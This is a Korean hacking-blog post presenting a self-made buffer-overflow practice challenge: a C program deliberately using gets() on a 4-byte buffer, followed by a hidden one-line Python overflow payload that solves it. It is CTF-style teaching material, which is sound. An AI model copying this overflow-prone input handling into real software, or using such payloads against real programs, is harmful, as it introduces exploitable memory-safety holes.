[pwnable] bof를 응용한 문제를 만들어 봤습니다.
2016. 12. 18. 20:08
#include <stdio.h>
#include <string.h>
int main(void) {
int check = 0;
char prevent[100];
char buffer[4];
printf("buffer : ");
gets(buffer);
//printf("length : %d\n", strlen(buffer));
if(strlen(buffer) > 5) {
check = 1;
}
if(check >= 1) {
printf("Your Input is strange!\n", check);
} else {
printf("Your Input has no problom!\n");
}
printf("\nYour input : %s | Your check value : %d\n", buffer, check);
return 0;
}
정답은 밑을 드래그 하면 보입니다.
$ (python -c 'print "a"*104+"\x00\x00\x00\x00"', cat) | ./[저장한 실행 파일 이름]
'Hacking > Pwn.' 카테고리의 다른 글
lob 현황 (0) | 2017.04.25 |
---|---|
argv에서 Segmentation Fault (0) | 2017.04.23 |
codeengn.com (0) | 2017.02.23 |
[lob] gremlin 권한 획득 (0) | 2016.12.19 |
[pwnable] 왜 원본파일에다 해킹 안함? (0) | 2016.12.18 |